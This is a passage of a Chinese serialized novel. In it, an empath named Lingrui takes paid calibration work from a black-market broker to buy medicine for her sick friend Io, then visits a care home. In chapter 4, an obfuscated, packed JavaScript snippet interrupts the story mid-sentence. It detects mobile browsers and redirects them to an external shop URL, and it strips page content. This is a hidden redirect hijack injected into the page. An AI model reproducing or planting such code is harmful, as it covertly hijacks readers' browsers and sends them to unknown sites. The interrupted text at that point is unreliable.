但这个词不是她发明的，是母亲说的。 那年母亲从埃瑟庄园回到底层，提着一个旧行李箱站在巷口的样子总是被提起。 行李箱里没有钱，只有几件旧衣服、那个印着“埃瑟庄园·春”的搪瓷缸、和一个在庄园里怀孕的记录，后来那个孩子就是她。 “感潮者和觉醒者有什么区别？”老板问，他不是真的对这个话题感兴趣，他想确认她不是在骗他。 “觉醒者能主动影响别人，感潮者只能感受，不能主动做什么。” “代偿者是感潮者里敏感度最高的一批，情绪丰富、波动大、容易共情，壳中人最喜欢这种类型，因为他们的情绪质量好，‘口感’丰富。” “但代价是，单向输出的时间太长，神经系统会被慢慢掏空，大部分代偿者三十岁之前就被淘汰了” 老板沉默了一会儿，他把催醒素瓶子收进抽屉里，关上抽屉的时候动作比平时轻了一点。 “你母亲。”他问，“没给你买过这种？” “催醒素？”凌芮摇了摇头，“没有，她不信，她说委员会也不会让穷人觉醒，觉醒者太多对体系没好处。” 在老板把催醒素瓶子收进抽屉之后，他的目光在吧台上停留了一会儿，“你母亲在埃瑟家的时候，见过壳中人吧？” “那可不，天天见，她的工作就是给壳中人做代偿。” 老板沉默了几秒，他把这三个字嚼了一遍，“你知不知道在黑市，多少人一辈子最大的愿望就是攒够钱，给自己装一套神经防火墙。” “那不叫愿望。”凌芮靠在椅背上，双手抱胸，“那叫做梦，一套防火墙够黑市所有人加在一起吃一辈子。” “我知道是做梦。”老板说，“但你不能拦着别人做梦，你想想防火墙一开，外面那些破事跟你没关系了，你的情绪是你自己的，谁也偷不走，你在你的壳里面，干干净净的，什么都不用管。” “然后呢？” “什么然后。” “然后你坐在壳里面，干干净净的，什么都感觉不到。”凌芮把腿伸直，脚后跟搭在另一把椅子的横杠上，“你每天打开神经接口，接入代偿者给你传过来的情绪，快乐是别人的，悲伤是别人的，连活着的感觉都是别人的。” 老板没有立刻接话，他把抹布拿起来又放下，显然在想怎么反驳，但一时没找到合适的词。 “壳中人不是你想的那样。”凌芮没有等他反驳，自己把话接了下去，“我妈见过,那些壳中人，防火墙装得越久，情感越钝化，最开始只是不太容易激动，然后是笑不出来，然后是连哭都忘了是什么感觉。” 老板沉默了一会儿，他的手指在吧台上敲了两下，然后说：“那如果中途想拆呢？” “拆不了，神经防火墙是植入在脑膜和神经突触之间的纳米屏障，安装的时候要切断一部分天然神经连接，用防火墙的合成突触代替，有人试过，没成功。” “所以装了就不能回头。” “对，而且壳中人自己也不一定想回头。”凌芮站起来，走到吧台边自己倒了杯水，喝了一口，“从防火墙装上去的那一刻起，他们就渐渐忘记没装防火墙是什么感觉了。” 老板没有再接话，他拿起抹布开始擦吧台，擦了一会儿又停住，像是想起了什么。 但最后他只是说了一句：“药剂别到处说，你懂的。” “我知道。”凌芮站起来，把椅子推回原处，“那涨工资……” “再想想。” “又再想想。” “你别催，再催就不想了。” 凌芮走到酒吧门口，回头看了他一眼，老板已经低下头继续看账单了。 站在酒吧门口，巷子里的风从身后灌过来，她把口袋里的东西重新理了一遍：伊奥的药、怀特的信、几枚硬币、玛格的纸条。 她把纸条掏出来，展开，号码还是那串号码，她已经不需要看了，这串数字她倒过来都能背。 药价涨了，老板不涨工资，怀特的手越抖越厉害,伊奥的抽屉里那铁盒子里攒的钱只能买几颗糖。 这些事像几根绳子从不同方向同时收紧，把她往同一个方向上推。 玛格婆婆的信息她已经攒得差不多了，那个老太太在黑市做了二十年，没被巡管员查过一次。 她手底下有地下感潮者需要校准，说白了就是那些觉醒时神经受损的倒霉蛋，委员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587128|205333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会的评定体系把人家判定为未登记者，但实际上不是能力不行，是觉醒过程中缺乏稳定环境，神经被冲坏了。 玛格需要人帮这些人做校准，而她恰好会这个，听起来没什么威胁性，不是买卖未登记者的黑活，不是贩卖催醒素的骗局。 但凌芮总有些不安，玛格婆婆没被查到过，不代表永远查不到。 委员会不在乎一个未登记者，但委员会在乎有人在修复他们判定的废品，如果被发现，委员会的惩戒手段凌芮一点儿也不想知道。 但今天不一样，她站在酒吧门口，口袋里的药盒硌着肋骨，提醒她伊奥明天就断药了。 明天，不是下个月，不是下周，是明天。 她可以明天再打这个电话，但明天伊奥就断药了。 她走到巷口的公共通讯终端，终端是投币的，铁壳子上全是锈，听筒线被胶布缠了好几圈，按键有几个已经不弹了。 她投了硬币，拨号，响了四声，对面接了起来。 “玛格婆婆。” “我就觉得今天会接到你的电话。”玛格的声音不急不缓，带着笑意，像是在聊天气。 “你怎么知道。” “因为你那个朋友昨晚去药铺了，药价涨了两成。” 凌芮靠在终端机上，把听筒夹在肩膀和耳朵之间，“那你应该也知道我今天没带够钱。” “差多少。” “一盒。” 玛格在电话那边轻轻笑了一声，“你打这个电话，是来找我预支的？” “不算预支，算诚意金。”凌芮把听筒换了个手，“你之前说更值钱的活，我总得先看看你有没有诚意。” 玛格沉默了几秒，凌芮听到那边传来纸张翻动的声音，大概是在翻什么记录。 “你知道我为什么一直等你来找我吗？”玛格说。 “总不会是因为我长得好看。” 玛格笑了一声，“你知道是什么活了？” “校准，地下感潮者，在觉醒时神经受损，输出不稳，需要人帮他们稳一下。” “调查的倒是清楚。”玛格继续说：“我安排的地方，不是黑市酒吧那种公共场所，足够安全。” 玛格婆婆继续说：“委员会不关心未登记者，你在他们的系统里本来就不存在，只要不闹出大动静，没有人会查。” 凌芮把玩电话线，“不闹出大动静？范围还真广。” 玛格婆婆不紧不慢的说：“即便有万一，我会比你先知道，我在委员会有关注公告的人，如果有风吹草动，我会提前通知你，你以为我做了二十年没出事是靠的什么。” 凌芮沉默了几秒，玛格没有催她，听筒里只有平稳的呼吸声和远处巷子里的狗叫。 “明天下午。”凌芮说，“我来找你，但不承诺长期合作，先做一次试试。你提供场地和客户，我提供校准，抽成五五分，如果我觉得不对劲，随时退出。” 玛格在那边轻轻笑了一声，“条件都谈好了才说不承诺长期合作，你还挺会谈生意。” “我跟酒吧老板学的。” “那个老板两年没给你涨工资，你可能学错了人。” “他没涨工资是因为我没认真跟他谈。”凌芮把后背靠在终端机上，仰头看着头顶那道被建筑切出来的灰色天空，“跟你不一样，跟你，我是认真的。” 玛格沉默了一拍，然后她说：“明天下午三点，旧采集工厂三号车间，到了巷口有人接你。” “那药钱的事？” “药的钱，明天见面给你。” “不是明天，现在，我就在巷口，药铺还没关门，你让人把钱送到老伍药铺，我在那里等。” 玛格又笑了一声，“你真是一点亏都不吃。” “我比较喜欢当场结清。” “行，你在药铺等着，十分钟。” 凌芮挂了电话。 她站在原地，盯着终端机发黄的拨号盘看了几秒，指甲在听筒线上掐了一个小月牙印。 然后她把听筒挂回去，从口袋里掏出怀特的信封，转身往邮筒走。 路过邮筒的时候，她把信封投进去，铁皮信筒已经生锈了，投信口上印着委员会的徽章。 一颗被齿轮包围的眼睛。 信封落进筒底，发出空洞的回响，凌芮在邮筒前站了几秒，伸手拍了拍它的铁皮壳。 然后她转身朝着药铺走去。 5. 端盘子的第五天 老伍的药铺在巷子尽头，门面窄得像一条竖起来的棺材板。 凌芮推门进去的时候，门轴发出一声尖锐的响，老伍不在柜台后面，他在后面的小仓库里，正弯腰从一堆纸箱里往外搬东西。 听到门响，他探出半个身子，见是凌芮，脸上的表情松弛了一瞬，随即又绷了回去。 “又来了。”老伍从仓库走出来，手在衣服下摆擦了擦。 “来拿药，上午留的那盒。”凌芮靠在柜台上。 她刚从玛格那里拿到钱，确切地说，是玛格手下的一个年轻男人把钱送到了药铺门口。 瘦高个，戴帽子，一句话没说，把几张纸币塞进她手里就走了，她在巷口路灯下数了一遍，刚好够剩下那盒。 老伍转身从柜台下面拿出那盒神经稳定剂放在柜台上，然后看着她从口袋里掏出钱，一张一张铺在柜台上。 纸币是新的，没有折痕，没有黑市钱币上常有的污渍和汗味。 老伍拿起一张对着光看了看，然后放下。 “酒吧老板预支给你了？”他低着头数钱。 “没有。” “那这钱……”老伍说了一半停住了。 他把钱叠好放进抽屉，关上抽屉的时候动作有点慢，像是在想下一句话该怎么说。 凌芮注意到他的手指在抽屉把手上多停了一拍。 “找了个兼职。”凌芮说。 “什么兼职？” 凌芮把药盒塞进口袋，冲他笑了一下，“有老板包了我的手艺，按次结，比端盘子划算，怎么样，听着是不是比你卖药赚钱？” 老伍没有笑，他低着头把纸币一张一张捋平，放进抽屉里，手指在抽屉把手上多停了一拍，像是在想下一句话该不该说。 最后他只是把抽屉关上，转身去整理柜台上的药瓶，背对着她，“别惹麻烦。” “我从来不惹麻烦，”凌芮靠在柜台上，拿起柜台上一颗薄荷糖剥开塞进嘴里，“麻烦自己找上门的，不关我的事。” “麻烦找上门的时候不会先敲门。”老伍把药瓶摆正，转过身来看着她，“你在黑市待了五年，有些事不用我说，钱是好东西，但钱的来路，得自己掂量。” 凌芮把糖从左边换到右边，“你说得好像我要去干什么坏事一样。” “付钱的人和付钱的人不一样。”老伍说完这句话就不再说了。 凌芮的手指在口袋里无意识地摩挲着药盒的边缘，老伍的担忧是实心的，她不需要动用感知就能读出来，藏在他反复擦柜台的动作里。 凌芮出了药铺，门轴在身后发出一声尖响，她把药盒塞进口袋深处，拍了拍。 巷子里的风比刚才凉了，她把外套拉链拉到下巴，迈开步子往回走。 药铺里，老伍站在柜台后面，看着门关上，他等了几秒，确认门外的脚步声远了。 他走到后门，推开仓库的门，里面堆着半人高的纸箱，箱子上印着药品批号和外围制药厂的模糊标签。 角落里还有几个没有标记的木箱，那些不是正规渠道的货，拆箱的时候得格外小心，连包装纸都不能留在店里。 后门被敲了三下。 老伍打开门。 门外站着一个瘦高个男人，戴帽子，穿深灰色工装，肩上扛着一个不大的牛皮纸箱。 如果凌芮在这里，就能认出来，这个人正是刚才给她送钱的人。 老伍不知道他全名叫什么，只叫他瘦子。 “这次的货。”瘦子把纸箱搁在仓库的矮桌上，摘下帽子扇了扇风。他的额头有一道旧疤，从眉骨延伸到太阳穴，像是被什么东西划过。 老伍拆开纸箱，里面有几排神经稳定剂，包装整齐，批号清晰，和正规药铺里卖的没有区别，他拿出一盒对着光看了看，然后放下，“这次的价比上次又高了，怎么又涨了。” “上面说要涨。”瘦子靠在仓库门框上，把帽子重新扣回头上，“我也不知道具体原因，可能是最近审查的风声紧，货运不好走。” “审查年年有，往年也没涨这么多。”老伍把药一盒一盒从纸箱里拿出来，排在货架上。 他的动作不快，“你们那边，我是说玛格那边就没说为什么？” 瘦子耸了耸肩，“她不说的事，我们也不问，不过我听另一个跑外围的说，玛格最近在收紧几个渠道，有些货不从原来那边走了。具体为什么收紧，可能是委员会有人在查外围货运，也可能是她想换供应商，反正她怎么吩咐我们怎么做。” 他顿了顿，压低了一点声音，像是在分享一个不怎么值钱的秘密，“不过玛格跟外围中心的人有关系，你又不是不知道，就算审查组下来，她也能提前拿到消息，你看她做了二十年没出过事，反正她稳得很。” 老伍把最后一盒药放进货架，关上仓库的灯，“她稳得很，我们就不一定了，涨价这种事，最后都是买药的人扛。” “那倒是。”瘦子整了整帽檐，往后门走，“不过话说回来，买药的人扛也好过你自己扛。” 他推开门，消失在巷子的阴影里。 老伍一个人在仓库门口站了片刻，他把纸箱拆成纸板，捆好，塞进回收堆，然后回到柜台，把今天收的纸币从抽屉里拿出来，一张一张数。 数到凌芮那几张新钞的时候，他的手停了一下，这几张钞票太过新了，能流出这种品相钱的地方没有几个。 他把钱放进钱箱，关上抽屉，翻过营业中的牌子，然后坐回柜台后面，继续打瞌睡。 凌芮回到公寓的时候已经快晚上十点，走廊里的灯坏了一盏，只有尽头的安全灯在墙角投下一小片绿光。 她推开门，伊奥还醒着。 沙发边的台灯亮着昏黄的柔光，伊奥窝在旧毛毯里，膝盖上摊着一本翻到一半的旧书。 书页的边缘被手指摩挲得起了毛边，封面上的烫金书名已经褪得只剩几个模糊的字母，台灯把她的影子投在墙壁上，轮廓安安静静。 伊奥抬起头，目光从书页上移开，“药买到了？” “买到了。”凌芮从口袋里掏出药盒放在桌上。 “不是涨价了吗？”伊奥把书合上放在沙发扶手上。 “涨了，老伍说涨了两成。” “那你哪来的钱？”伊奥的有些怀疑。 “老板给我预支了。”凌芮在床沿坐下来。 伊奥沉默了片刻，老板那个人，两年没涨过一分钱工资，上个月换招牌倒花了不少，伊奥不信老板突然大方了，“真的预支了？” “嗯。” “那个两年没给你涨工资的老板，他预支给你了？” “对。” “他为什么忽然对你这么好。” “因为他今天心情不错，而且我跟他说，如果不预支，我就辞职去给玛格干活。”凌芮把鞋脱下来，抬头冲伊奥笑了一下，“他骂了我两句，然后把钱给我了，你说这个人是不是欠骂。” 伊奥没有笑，她看着凌芮，手里捏着那本旧书的书角，拇指在起毛的纸边上轻轻摩挲，“你说的是真的还是编的。” “一半一半。”凌芮把袜子也脱了， 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伊奥的眉毛动了一下，“谁？” “你。”凌芮把外套往床头一扔，转身冲她咧嘴，“还有怀特，还有巷口的大婶，她今天多给我加了辣酱，还有老伍，虽然他今天涨价了，但看在他赊过我账的份上暂时还算。” “我说的是那种喜欢。” “哪种？我对大婶的喜欢很真诚的，辣酱在我这里可是硬通货。” 伊奥没有笑，她只是安静地看着凌芮，伊奥从来不催她，只是给她留一个沉默的空间，让她自己选择要不要走进去，这种留白比任何追问都更难对付。 凌芮笑着笑着，嘴角的弧度慢慢收了一点，她低下头，看着自己赤着的脚。地板的凉意从脚底传上来。 “没有。”她说，这次声音轻了很多，不再是刚才那种跳跃的调子，“真的没有，你说的那种心跳漏一拍，我活了十七年，还没遇到过。” “一个都没有？” “在黑市，你看谁不都是一样，恐惧、贪婪、算计，都摆在那里，看一眼就知道是什么。”她顿了顿，把脚缩上来盘在床沿，“但有时候，很少的时候，我会想，如果有一个人，和我见过的人不一样，那是什么样的人。” “你喜欢的是那种不一样的感觉。” “也许。”凌芮把下巴搁在膝盖上。 “那你希望遇到那样一个人吗。” 凌芮想了很久，窗台上的野花在通风口漏进来的微风里轻轻晃了一下，花瓣上的水珠被气窗的风吹得颤了颤，像在替她犹豫。 “希望。”她说。 伊奥没有追问，她只是轻轻点了点头，把毛毯重新裹紧，她安静地靠回沙发，目光落在窗台上那株野花上，花瓣在暗红色的光污染里微微发亮，像一小片被遗忘的月光。 “如果有一天你遇到了。”伊奥说，声音轻得像在跟花说话，“你会告诉我吗？” “会，但你到时候不要笑话我。” “我从来不笑话你。” “你刚才就笑了，在心里笑了，我能感觉到。” “感觉不是证据。” “是证据，你的嘴角歪了哦。” 伊奥下意识抿了一下左嘴角，然后发现中了圈套，把脸转向沙发靠背，“睡觉。” 凌芮把台灯调到最暗，房间里只剩下气窗漏进来的暗红色光污染，在天花板上投出一小块模糊的光斑。 她躺下去，把被子拉到胸口，闭上眼睛。 但没睡着。 6. 端盘子的第六天 她听着伊奥的呼吸声。 伊奥入睡很快，这是她少数不需要药物辅助就能做到的事，但凌芮知道，伊奥的好日子正在变得越来越少，上次腿麻过了膝盖，医生说等麻木蔓延到脊柱就彻底没法站了。 而她一天大部分时间不在家，伊奥一个人在这间地下室里，盯着窗台上的野花，一本书翻到最后一页，再翻回第一页。 半夜的时候，凌芮悄悄坐起来。 她赤脚踩在冰凉的地板上，走到床边。伊奥侧身睡着，头发散在枕头上，呼吸很轻。 凌芮弯下腰，伸手轻轻探了探她的额头。 没有发烧。 她把手指移到伊奥的鼻子前面，感受了一下，温热的。 活着。 她把手收回来，在床边又站了一会儿。 伊奥的嘴唇颜色正常，上次腿部麻木停留在膝盖，今天没有报告新的症状，这些数据足够让她今晚安心，但不够让她安心到明天。 她回到沙发上躺下，把被子拉到胸口，天花板上的裂缝还在，从墙角爬到中央，像一条走不完的路。 她盯着它，脑子里却停不下来。 伊奥今天看了多久的书？有没有跟人说过话？上次她去楼顶晒太阳是什么时候？ 她一个人闷在这间地下室里，从早到晚，只有一个搪瓷缸和一株野花陪着她，她需要更多的空气，更多的人，而不是药和病例单的东西。 凌芮翻了个身，把脸埋进枕头里。 明天去找玛格的时候，也许可以问问有没有什么活是能在住处附近做的，或者问问有没有人能帮忙陪着伊奥。 她以前觉得这种事是多此一举，现在开始觉得也许不是。 第二天． 旧采集工厂三号车间在黑市最边缘的角落里，和凌芮上次路过时没什么两样，红砖外墙被几十年的酸雨腐蚀得坑坑洼洼，铁架招牌锈得只剩最后一个字母歪歪扭扭地挂着。 车间内部的采集设备早就被委员会拆走，留下了空荡荡的厂房和满地的碎玻璃，但地下还有一层，是当年用来储存神经连接液的恒温仓库。 玛格把它改成了校准室，隔音还隐蔽，入口藏在废弃货运电梯的后面。 凌芮在巷口见到了接她的人。 不是上次送钱的那个瘦高个，换了一个更年轻的，二十出头，脖子上纹着一道褪色的编码。 他没说话，只是点了点头，转身带她穿过巷子，绕过一堆废弃的采集头盔，推开一扇生锈的铁门，引她走下楼梯。 地下仓库比地上干净得多，天花板上的灯管换了新的，发着冷白色的光，墙边摆着几把椅子，一张铁架床改的校准台，旁边是便携式神经监测仪。 不是正规型号，是黑市自己组装的，外壳上还贴着不知道从哪里拆下来的警告标签。 仓库里已经有两个人等着，一个靠在墙边抽烟的中年男人，一个坐在椅子上不停抖腿的年轻女人。 “就这两个？”凌芮问领路的年轻人。 “今天两个，玛格说你先试试。” “行。” 凌芮把外套脱了搭在椅背上，走到那个年轻女人面前蹲下来，女人大概二十出头，头发用一根旧皮筋胡乱扎着，眼底发青，嘴唇干裂。 她的手搁在膝盖上，手指在抖，是觉醒时神经被冲坏的典型症状，频率很快，还带着某种电流感。 “名字不用说。”凌芮把手指搭在她的腕关节内侧，“怎么觉醒的？” “去年冬天。”女人的声音沙哑，“忽然就开始能感觉到别人的情绪了，一开始只是一点点，后来越来越多，我去黑市诊所开了稳定剂，吃了半年，没什么用。” “稳定剂只管化学平衡，不管神经结构。”凌芮说着把手指往上移了一点，找到她前臂内侧的另一个脉点，用两根手指轻轻按住，“你在觉醒之前，有没有受过伤，头部或者脊椎。” 女人愣了一下，“从工厂楼梯上摔过一次，磕到了后脑勺。” “那可能是诱因，你的觉醒不是自然触发的，是外伤诱发神经密度突增，突增太快，神经来不及适应，所以就乱了。”凌芮松开手指，站起来绕到她身后，把手掌贴在她的后颈上。 掌心传来的神经波动像一团被搅乱的毛线球，每根线都在往不同方向上扯。 “我现在试一下帮你把几个主要的异常通道校准，会有点奇怪的感觉。” “你怎么知道怎么做？”女人问。 凌芮闭上眼睛，没有回答。 她不是第一次做这种事，五年来，她在黑市帮过的人数都数不清，酒吧里失控的客人，巷子里突然崩溃的流浪感潮者，隔壁楼上那个被工厂辞退后每晚做噩梦的采集工。 每一次都只是顺便，但今天是第一次有人付钱。 这个念头在她脑子里闪了一下，然后被她压下去。 付钱和不付钱，做法是一样的。 中年男人比年轻女人更麻烦，他觉醒的时间更早，神经损伤积累了好几年，像一条被反复折叠的铁丝，表面上还连着，内部已经全是裂痕。 凌芮花了比预期更长的时间才找到他的主神经通道，中间有几次他疼得哼出声。 做完的时候她的后背被汗水浸湿了一大片，她把外套披上，靠在椅背上喘了几口气。 “好了。”她说。 中年男人活动了一下手指，手指不再抖了，他站起来走了几步，又坐下，表情是那种不敢相信又不敢高兴的复杂，“真的好了？就这么一下？就好了？” “不是好了，是稳定了，你得定期做，多久做一次取决于你平时用不用能力，用得越多，神经磨损越快，我建议一个月一次，如果你自己坚持锻炼神经稳定性的话，可能能撑更久。” 凌芮转头看向那个年轻女人，“你也是，这个不是根治，根治要重新评估你们的神经结构，然后做针对性的修复方案，那个我目前做不了。” 玛格从楼梯口走下来。 她走路不快，胖墩墩的身体在冷白灯光下投下一团灰 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凌芮接过信封，没有当面数，她把信封折了一下塞进口袋，靠回椅背，口袋沉甸甸的，贴着大腿外侧，和之前那种轻飘飘的重量完全不同。 她在心里把这叠钱换算成伊奥的药，这一单够买三盒，还能剩一点。 这个念头让她心情变得很好，好到开始有闲心跟玛格闲聊。 “你刚才说我手法不一样，是夸我还是想套我话。” “都有，你确实比之前那几个强，你的手法很野，但很有效，自己摸索出来的？”玛格在旁边的椅子上坐下来，她今天还是穿着那件灰扑扑的外套，但靠近了能闻到一股淡淡的樟脑味，是旧衣服在柜子里放久了的气味。“不过我有个问题，你有没有试过双向校准。” 凌芮有些疑惑，“双向校准是什么。” “单向校准是帮人稳神经，双向校准是你进入对方的神经波动之后，不只帮他稳定，还让他能短暂地反过来感知到你，这种技术在委员会的高级代偿者训练手册里有记载，委员会把它列在高级干预方案里，但对校准师的神经结构有要求，必须是先天具备双向共感潜力的人。” 凌芮没有马上接话。 她知道双向共感，母亲在埃瑟家做代偿者时见过一次，那是一个高级代偿者和壳中人之间建立的深度连接，代偿者不只是输出情绪，还能接收到壳中人的神经反馈。 这种技术对代偿者的神经结构有特殊要求，不是所有感潮者都能做到，至于委员会把它列为高级干预方案，她倒是第一次听说。 “那不是一般人能做的东西，双向共感需要校准师和被校准者之间有极高的神经匹配度，不是随便一个感潮者就可以，而且。”她停了一下，“我没试过。” “那你想不想试，我手底下有一些情况更复杂的感潮者，普通校准只能管几天，几天之后又复发，如果你能帮他们完全消除，报酬可以翻倍。”玛格说这些话的时候声音还是不急不缓。 7. 端盘子的第七天 凌芮把信封在口袋里掂了掂。 翻倍。 这个词在黑市的重量和在外面不一样，外面的人听到翻倍，想的是多买几件衣服，或者换个大一点的房子，黑市的人听到翻倍，想的是多活几天。 但双向共感不是拿钱就能学会的东西，它需要校准师打开自己的神经，让对方的波动反向流入。 这意味着她不能再保持单向输出的安全距离，她必须信任对方，或者至少信任自己能在失控之前切断连接。 这两种她都不确定，她喜欢掌控局面，双向共感等于把一半的掌控权交出去。 “暂时不用，先做这种就挺好，钱够用就行。”她站起来把外套穿好，走到楼梯口的时候又回头，看了一眼玛格桌角堆着的那摞旧报纸。 “那些报纸，能拿走吗？” “你要旧报纸干什么？” “朋友喜欢看东西，什么字都行，你这摞都过期了，不拿也是垫桌角。” 玛格看了她一会儿，然后抬手挥了挥，算是默许，“拿吧，反正是旧的。” 凌芮走过去把那一摞报纸抱起来，大概有十几张，有些是委员会公报，有些是外围行政区的社区新闻，还有一些看起来像是从信息网终端上打印下来的数据简报，全部都已经泛黄卷边，带着地下室的潮气。 她把报纸折了折塞进外套内侧的口袋里，转身往楼梯上走，走了两步又停下来。 “对了，有没有那种活，不是校准，就是普通的工作，能在住处附近做的。不用跑远，时间灵活。” 玛格抬头看她，胖墩墩的脸上露出一丝笑意，“你自己刚做完一单，钱还不够？” “不是给我，给我朋友，她一直想做点事，与其让她偷偷干活，不如帮她找个正经的。” 玛格靠在椅背上，手指在扶手上轻轻敲了敲，“倒是有一个，外围安置区有家私人疗养院，专门收从采集工厂被淘汰的老感潮者，他们需要人帮忙整理档案、记录病人日志，不累，坐着就能做，但要求耐心。” “疗养院叫什么名字。” “栖心，一个小地方，负责人我认识，可以帮你打个招呼。” 凌芮把这件事在心里记下来。 栖心。 名字听起来不像黑市的风格，黑市的地方通常没有名字，有名字也只在口头上流传，从不会有人专门取一个栖心这种含义正经的名字。 这种名字出现在黑市，要么是假招牌，要么是某人在这里花了真感情。 “我去看看，你先别打招呼，等我去看看再说。” “你不信任我介绍的地方。” “不是不信任你。”凌芮已经走上了楼梯，回头冲她笑了一下，“是先看看再说，万一是个坑，我自己掉就行了，不用连带别人。” 玛格轻轻哼了一声，声音里有某种类似欣赏的成分，“你这种性格在黑市不太常见，黑市的人通常分两种：太信任人，死得快，太不信任人，没人愿意跟你做生意，你刚好卡在中间。” “这是夸我吗。” “是，也是个提醒，别太谨慎，太过谨慎会让你错过好东西。” 凌芮没有回答，她走上楼梯，推开生锈的铁门，回到地面。 外面的天还是灰蒙蒙的，但她觉得今天的光比平时亮一点，也许不是光真的亮了，是她在昏暗的地下室待了太久，眼睛还没适应。 或者是她心情好，口袋里那叠钱的重量，让她走路时脚后跟落地的声音更脆了，踩在碎玻璃上咔嚓咔嚓的。 她没有直接回家，从采集工厂废墟出来之后，她绕去了黑市信息网终端附近的那条巷子。 终端机所在的铁皮屋门口常年聚集着几个废品摊，有人从外围行政区收来的旧家具，有人倒卖过期的营养膏，还有一个老头专门卖旧书。 老头的书摊很小，只有一张破帆布铺在地上，上面摆着几十本泛黄的书，大部分是技术手册和过期的药品说明书，偶尔能翻到几本小说，书页被前主人翻得起了毛边，但不影响阅读。 伊奥喜欢那种封面有烫金字母的，摸起来很有质感。 凌芮蹲下来翻了翻，她的手指从一排发霉的技术手册上划过，跳过一本封面上印着人体解剖图的医学辞典，停在一本装帧明显不一样的旧书上。 封面是深蓝色的，烫金字母已经褪得只剩模糊的轮廓，但还能辨出是一本小说。 书脊有些松动，翻开之后纸张上印着淡淡的黄斑，没有缺页，她翻了翻内页，看到一行字： 她站在灯塔顶上，看着海面上最后一艘船消失在地平线尽头，她的头发被风吹散，嘴角却带着微笑，即便被困在原地，却依然能看见远方。 “这本多少钱。”她把书举起来。 老头抬眼扫了一下，“旧书，三个硬币。” “两个。” “你刚顺了一摞报纸，还跟我计较这一个硬币。”老头看了看凌芮抱着的报纸，说着把书接过去，翻了翻，确认没缺页，又递回来,“两个半,这本书印得少，现在外面买不到了。” “外面买不到你怎么还在卖，两个半。”凌芮嘴上说着，手上已经把三个硬币拍在帆布上，拿起书站起来走了。 “不是说两个吗？”老头在后面喊。 “你刚才自己说的两个半，我给了三个，不用找了，剩下的算你欠我半本，下次补。”她没有回头。 “半个可买不到半本。”老头在她身后嘟囔了一句，但语气里没有真正的生气。 她走了几步就迫不及待翻开书，边走边读，她要看这本值不值得送给伊奥。 如果里面写的是无聊的工厂纪实或者政治宣传，她就拿回去找老头退那半个硬币。 但翻了几页之后她放慢了脚步。 书里写的是一对姐妹在海边小镇相依为命的故事，姐姐每天出海捕鱼，妹妹在灯塔里等她回来。妹妹有慢性病，腿不能走，每天坐在窗边看海，她最喜欢的一页上写着。 “她说她看不到海的全部，但没关系，姐姐每次回港都会带回来一个贝壳，贝壳里能听到 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“看过一点，里面有个人喜欢收集贝壳，还有个捕鱼的。” 伊奥看了她一眼，然后低下头继续翻书，没有再说话。 凌芮也没追问，她把报纸摊开，开始翻。 翻了大概三四页，翻到一张《神经标准委员会季度审查通告》。 通告本身很无聊，什么季度审查目标，合规评估流程和巡查时间表，她正准备翻过去，余光扫到一个名字。 艾德林·伊里迪安。 审查组名单的第一行，印着委员会首席架构师的名字和家族前缀。 她在另一张通告上也见过这个名字，那次是实验室的人事调动。 她把目光从那个名字上移开，翻到下一页，没有照片。 她想象了一下：这个男人大概是个中年官僚，头发稀疏，戴眼镜，坐在办公室里盖章，一辈子没来过黑市，现在他要来外围安置区审查了。 有什么好审查的，看看穷人有没有偷偷觉醒，有没有在工厂的废气里活得不够惨。 她哼了一声把报纸合上。 伊奥从书页上抬起头，“怎么了。” “没事，看到个委员会的老头要过来审查。”凌芮把报纸叠好放在窗台旁边，起身去拿搪瓷缸浇水，“大概是个秃头，戴着眼镜，讲话全是公文，你说这种人，一辈子被人当神一样供着，有什么意思。” “你怎么知道人家秃头。” “都当首席架构师了，不秃头对不起那个头衔。” 伊奥轻轻笑了一声，她的手指还在书的封面上慢慢划着，指甲沿着烫金字母的笔画走了一圈，像在描摹某种重要的东西。 窗外气窗漏进来的光已经变成深红，台灯的光在墙壁上投下一圈暖黄的影子，野花在搪瓷缸里轻轻晃了一下。 凌芮把搪瓷缸放回窗台，拍了拍手上的灰。 伊奥翻开了书的第二页。 8. 端盘子的第八天 栖心疗养院不在黑市的地界上。 它在黑市和外围行政区的交界处，正好卡在那道灰扑扑的隔音墙的豁口上，是委员会划定的，低价值人口安置区和外围行政区之间的过渡地带。 严格来说，它不在墙内，但也不在黑市里面，它像一只趴在墙根上的蜗牛，壳搭在墙外，触角伸进墙里。 住在这里的人大多是两种：被采集工厂淘汰的老感潮者，和合同期满被退货的代偿者。 凌芮决定去看看。 玛格说好的地方，她觉得更有必要自己亲眼瞧一瞧。 而且她不打算按正常流程进去，先不打招呼，自己看完了再说。 去之前没打算偷溜进去，她想的是先在附近转一圈，看看环境，假装家属问问里面的人过得怎么样。 但到了之后发现，根本不需要偷溜。 大门开着。 不是那种欢迎光临的开法，是门卫室没人，大门滑轨生锈了，推不回去的那种开着。 她站在门口等了半分钟，没有保安出来盘问，没有登记本，没有巡管员巡逻，只有一块褪色的招牌挂在门柱上，栖心两个字被雨水冲得笔画不全。 门柱旁边贴着一张手写的通知，纸上写着“即日起安保人员调往外围审查协助，来访请自行登记”。 登记本搁在门卫室的窗台上，被风吹得页角翻卷，上面只有两行字，最近一条登记是三天前。 凌芮把登记本翻了翻，又放回去。 一个疗养院，里面住着一群被工厂榨干了的老感潮者，安保被抽走了，大门敞开，任何人想进就能进。 她觉得，这要么是玛格故意给她制造方便，要么是外围审查抽走了所有多余的人手，不管哪种原因，结果都是她一个未登记者大摇大摆走进去，却没有一个人拦。 “黑市里最值钱的东西都锁着，最不值钱的是人，看来这句话放在过渡地带也一样适用。”她对自己说，语气不算愤怒。 疗养院内部比外面看起来好一些。 几栋低矮的灰砖楼围着一个中庭，中庭里有一棵半死不活的梧桐树，树下摆着几把塑料椅。 走廊里有一股淡淡的消毒水味，混着旧床单和老年人身上的药膏味，有几个老感潮者坐在走廊的轮椅上晒太阳。 